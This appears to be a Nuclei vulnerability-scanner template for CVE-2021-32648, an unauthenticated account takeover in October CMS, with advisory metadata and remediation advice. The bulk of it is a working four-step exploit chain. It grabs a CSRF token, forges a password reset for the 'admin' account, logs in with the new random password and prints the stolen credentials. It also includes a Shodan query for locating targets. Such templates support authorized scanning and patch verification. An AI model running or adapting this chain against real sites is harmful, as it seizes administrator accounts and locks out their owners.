id: CVE-2021-32648

info:
  name: OctoberCMS - Account Takeover
  author: daffainfo
  severity: high
  description: |
    octobercms in a CMS platform based on the Laravel PHP Framework. In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request. The issue has been patched in Build 472 and v1.1.5.
  impact: |
    Unauthenticated attackers can request password resets and gain unauthorized access to user accounts including administrator accounts using a specially crafted request.
  remediation: |
    Upgrade to October CMS Build 472 or v1.1.5 or later.
  reference:
    - https://github.com/octobercms/october/security/advisories/GHSA-mxr5-mc97-63rc
    - https://github.com/Immersive-Labs-Sec/CVE-2021-32648
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2021-32648
    cwe-id: CWE-287,NVD-CWE-Other
    epss-score: 0.90418
    epss-percentile: 0.99787
    cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: octobercms
    product: october
    shodan-query: http.component:"october cms"
  tags: cve,cve2021,cms,octobercms,intrusive,kev,vkev,vuln

variables:
  reset_token: "{{rand_base(42)}}"
  username: "admin"
  password: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /backend/backend/auth/restore HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<meta","csrf-token","Restore")'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - '<meta name="csrf-token" content="([0-9a-zA-Z]+)">'
        internal: true

  - raw:
      - |
        POST /backend/backend/auth/restore HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf_token}}&postback=1&login={{username}}

      - |
        POST /backend/backend/auth/reset/1/{{reset_token}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"_token":"{{csrf_token}}","postback":1,"id":1,"code":true,"password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "_session_key","_token","Login")'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_key
        part: body
        group: 1
        regex:
          - '<input name="_session_key" type="hidden" value="([0-9a-zA-Z]+)">'
        internal: true

  - raw:
      - |
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _session_key={{session_key}}&_token={{csrf_token}}&postback=1&login={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "october_session="
          - "admin_auth="
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'
# digest: 4a0a0047304502201b6798d3ec0b59131331052cc5852fca2a5a2b90521badf4e4097cee18e07ec3022100c1cdb081b5e84494fec4576b2a49dfd84f0fcb2770c2ada536228cda2a8af719:922c64590222798bb761d5b6d8e72950